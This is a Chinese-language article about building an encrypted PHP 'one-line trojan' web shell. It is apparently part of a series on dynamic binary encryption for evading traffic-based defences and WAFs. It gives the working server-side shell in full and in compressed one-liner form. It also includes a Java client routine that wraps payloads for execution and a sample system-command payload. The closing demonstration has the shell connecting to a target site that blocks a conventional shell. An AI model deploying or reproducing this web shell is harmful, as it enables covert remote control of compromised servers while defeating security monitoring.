概述
利用动态二进制加密实现新型一句话木马之php篇
前言
在第一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图,详细内容请参考第一篇文章。
现在我们继续实现该思路的PHP版本。
实现篇
服务端实现
得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。
和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>
简单解释一下流程:
- 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
-
客户端将源代码,如assert eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert eval(“phpinfo();”)。 - 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。
- 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval("phpinfo;")”) 。
压缩一下:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
客户端实现
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。
1.远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2.动态生成二进制字节数组
如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert | eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。 |
3.已编译类的参数化
为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);
比如一个最简单的命令执行的Payload:
function main(cmd)
{
echo system(cmd);
}
main('whoami');
当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
String basePath="net/rebeyond/behinder/payload/php/";
String payloadPath=basePath+clsName+".php";
StringBuilder code=new StringBuilder();
ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = bis.read()))
bos.write(b);
bis.close();
code.append(bos.toString());
String paraList="";
for (String paraName : params.keySet()) {
String paraValue = params.get(paraName);
code.append(String.format("$%s=\"%s\";", paraName,paraValue));
paraList+=",$"+paraName;
}
paraList=paraList.replaceFirst(",", "");
code.append("\r\nmain("+paraList+");");
return code.toString().getBytes();
}
4.加密payload
将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5.发送payload,接收执行结果并解密
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的PHP一句话木马<?php @eval($_POST[‘caidao’]);?>,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统: